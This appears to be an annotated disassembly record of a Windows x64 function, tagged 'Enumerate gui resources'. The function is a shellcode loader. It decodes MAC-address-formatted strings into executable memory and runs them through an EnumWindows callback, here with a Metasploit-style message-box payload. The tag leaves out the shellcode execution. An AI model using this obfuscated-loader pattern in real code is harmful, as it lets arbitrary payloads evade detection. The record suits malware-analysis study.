Function at 0x140001010
Capabilities:
Enumerate gui resources

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0xb0]
sub rsp, 0x1b0
lea rax, str.FC_48_81_E4_F0_FF
mov qword [rsp + 0x20], rax
lea rax, str.FF_FF_E8_D0_00_00
mov qword [rsp + 0x28], rax
lea rax, str.00_41_51_41_50_52
mov qword [rsp + 0x30], rax
lea rax, str.51_56_48_31_D2_65
mov qword [rsp + 0x38], rax
lea rax, str.48_8B_52_60_3E_48
mov qword [rsp + 0x40], rax
lea rax, str.8B_52_18_3E_48_8B
mov qword [rsp + 0x48], rax
lea rax, str.52_20_3E_48_8B_72
mov qword [rsp + 0x50], rax
lea rax, str.50_3E_48_0F_B7_4A
mov qword [rsp + 0x58], rax
lea rax, str.4A_4D_31_C9_48_31
mov qword [rsp + 0x60], rax
lea rax, str.C0_AC_3C_61_7C_02
mov qword [rsp + 0x68], rax
lea rax, str.2C_20_41_C1_C9_0D
mov qword [rsp + 0x70], rax
lea rax, str.41_01_C1_E2_ED_52
mov qword [rsp + 0x78], rax
lea rax, str.41_51_3E_48_8B_52
mov qword [rbp - 0x80], rax
lea rax, str.20_3E_8B_42_3C_48
mov qword [rbp - 0x78], rax
lea rax, str.01_D0_3E_8B_80_88
mov qword [rbp - 0x70], rax
lea rax, str.00_00_00_48_85_C0
mov qword [rbp - 0x68], rax
lea rax, str.74_6F_48_01_D0_50
mov qword [rbp - 0x60], rax
lea rax, str.3E_8B_48_18_3E_44
mov qword [rbp - 0x58], rax
lea rax, str.8B_40_20_49_01_D0
mov qword [rbp - 0x50], rax
lea rax, str.E3_5C_48_FF_C9_3E
mov qword [rbp - 0x48], rax
lea rax, str.41_8B_34_88_48_01
mov qword [rbp - 0x40], rax
lea rax, str.D6_4D_31_C9_48_31
mov qword [rbp - 0x38], rax
lea rax, str.C0_AC_41_C1_C9_0D
mov qword [rbp - 0x30], rax
lea rax, str.41_01_C1_38_E0_75
mov qword [rbp - 0x28], rax
lea rax, str.F1_3E_4C_03_4C_24
mov qword [rbp - 0x20], rax
lea rax, str.08_45_39_D1_75_D6
mov qword [rbp - 0x18], rax
lea rax, str.58_3E_44_8B_40_24
mov qword [rbp - 0x10], rax
lea rax, str.49_01_D0_66_3E_41
mov qword [rbp - 8], rax
lea rax, str.8B_0C_48_3E_44_8B
mov qword [rbp], rax
lea rax, str.40_1C_49_01_D0_3E
mov qword [rbp + 8], rax
lea rax, str.41_8B_04_88_48_01
mov qword [rbp + 0x10], rax
lea rax, str.D0_41_58_41_58_5E
mov qword [rbp + 0x18], rax
lea rax, str.59_5A_41_58_41_59
mov qword [rbp + 0x20], rax
lea rax, str.41_5A_48_83_EC_20
mov qword [rbp + 0x28], rax
lea rax, str.41_52_FF_E0_58_41
mov qword [rbp + 0x30], rax
lea rax, str.59_5A_3E_48_8B_12
mov qword [rbp + 0x38], rax
lea rax, str.E9_49_FF_FF_FF_5D
mov qword [rbp + 0x40], rax
lea rax, str.49_C7_C1_00_00_00
mov qword [rbp + 0x48], rax
lea rax, str.00_3E_48_8D_95_FE
mov qword [rbp + 0x50], rax
lea rax, str.00_00_00_3E_4C_8D
mov qword [rbp + 0x58], rax
lea rax, str.85_0F_01_00_00_48
mov qword [rbp + 0x60], rax
xor ebx, ebx
lea rax, str.31_C9_41_BA_45_83
mov qword [rbp + 0xe8], rbx
mov qword [rbp + 0x68], rax
mov edx, 0x960
lea rax, str.56_07_FF_D5_48_31
mov dword [rbp + 0xe0], ebx
mov qword [rbp + 0x70], rax
lea r9d, [rbx + 4]
lea rax, str.C9_41_BA_F0_B5_A2
xor ecx, ecx
mov qword [rbp + 0x78], rax
mov r8d, 0x1000
lea rax, str.56_FF_D5_48_65_6C
mov qword [rbp + 0x80], rax
lea rax, str.6C_6F_2C_20_66_72
mov qword [rbp + 0x88], rax
lea rax, str.6F_6D_20_4D_53_46
mov qword [rbp + 0x90], rax
lea rax, str.21_00_4D_65_73_73
mov qword [rbp + 0x98], rax
lea rax, str.61_67_65_42_6F_78
mov qword [rbp + 0xa0], rax
lea rax, str.00_00_00_00_00_00
mov qword [rbp + 0xa8], rax
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
mov rdi, rax
nop dword [rax + rax]
mov rsi, qword [rsp + rbx*8 + 0x20]
lea rdx, [rbp + 0xe8]
mov rcx, rsi
mov r8, rdi
call qword [sym.imp.ntdll.dll_RtlEthernetStringToAddressA]
mov r14d, eax
test eax, eax
js 0x1400012f4
add rdi, 6
inc rbx
cmp rbx, 0x32
jl 0x1400012a0
lea r9, [rbp + 0xe0]
mov edx, 0x960
mov r8d, 0x10
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov rcx, r15
call qword [sym.imp.USER32.dll_EnumWindows]
jmp 0x14000130f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, r14d
lea rcx, str.____RtlEthernetStringToAddressA_failed_in__s_result__x___u_
mov r9d, eax
mov rdx, rsi
call fcn.140001330
mov rbx, qword [rsp + 0x1f0]
xor eax, eax
add rsp, 0x1b0
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret